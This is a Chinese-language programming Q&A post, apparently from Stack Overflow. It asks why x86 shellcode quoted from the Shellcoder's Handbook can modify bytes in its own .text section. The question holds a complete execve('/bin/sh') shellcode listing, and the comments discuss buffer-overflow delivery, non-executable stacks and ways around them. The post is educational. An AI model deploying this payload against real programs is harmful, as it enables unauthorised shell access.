【发布时间】:2017-09-13 16:58:29
【问题描述】:
我不太明白如何将变量存储在文本部分以及如何操作它们。不应该所有变量都在 .data 部分中,并且不是 .text 部分的所有部分都是只读的吗?那么这段代码是如何工作的呢?
[代码取自 Shellcoder 手册]
Section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
call shellcode
db '/bin/shJAAAAKKKK'
【问题讨论】:
-
漏洞利用的常见攻击向量是目标应用程序的堆栈内存。因此,此代码很可能通过某些缓冲区溢出情况存储在堆栈中,而缓冲区分配在堆栈上作为局部变量。所以写入那部分内存不是问题,执行堆栈数据可能会更有问题,some OS 将堆栈内存标记为不可执行(至少对于要求它的应用程序),然后这样的利用需要打破它第一的。如果这会在现代操作系统上进入普通的
.text,它将在mov [esi + 7], al上失败。 -
但是应用程序本身(或利用有效负载工作而无需编写任何内容)可能会要求操作系统对内存的 [可执行] 部分进行写访问,特别是复杂的“公司”应用程序喜欢以奇怪的方式加载其他模块, 有时甚至通过网络动态下载代码片段,因此毒化这些代码通常比简单的“hello world”示例更容易。
-
最后要注意的是..代码可以很容易地重写,首先将该字符串复制到堆栈中并在那里修补+使用它,所以您所需要的只是将您的有效负载交付到可执行内存中,堆栈是 100% 可写的并准备好用于临时数据 = 问题已解决。
-
相关:segmentation fault with .text .data and main (main in .data section) 用于相反的问题。 (请注意,除非您在使用 NASM 时小心谨慎,否则
.data实际上可能是可执行的。 -
相关:x86_64 Assembly - Segfault when trying to edit a byte within an array in x64 assembly 用于尝试写入 .text 部分中的数组的段错误。